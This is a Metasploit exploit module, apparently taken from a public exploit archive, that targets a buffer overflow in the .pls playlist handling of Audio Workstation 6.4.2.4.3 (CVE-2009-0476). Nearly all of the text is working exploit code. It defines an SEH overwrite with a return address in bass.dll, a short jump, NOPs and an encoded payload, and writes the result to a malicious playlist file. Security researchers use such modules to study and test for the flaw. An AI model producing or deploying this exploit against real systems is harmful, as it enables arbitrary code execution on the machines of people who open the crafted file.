Audio Workstation 6.4.2.4.3 - '.pls' Local Buffer Overflow (Metasploit)

##
# $Id: audio_wkstn_pls.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Audio Workstation 6.4.2.4.3 pls Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in Audio Workstation 6.4.2.4.3.
				When opening a malicious pls file with the Audio Workstation,
				a remote attacker could overflow a buffer and execute
				arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'germaya_x', 'dookie', ],
			'Version'        => '$Revision: 10477 $',
			'References'     =>
				[
					[ 'CVE', '2009-0476' ],
					[ 'OSVDB', '55424' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/10353' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 4100,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
					'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
					'DisableNops'   =>  'True',
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'Windows Universal', { 'Ret' => 0x1101031E } ], # p/p/r in bass.dll
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Dec 08 2009',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'msf.pls']),
			], self.class)

	end

	def exploit

		sploit = rand_text_alpha_upper(1308)
		sploit << "\xeb\x16\x90\x90"
		sploit << [target.ret].pack('V')
		sploit << make_nops(32)
		sploit << payload.encoded
		sploit << rand_text_alpha_upper(4652 - payload.encoded.length)

		print_status("Creating '#{datastore['FILENAME']}' file ...")
		file_create(sploit)

	end

end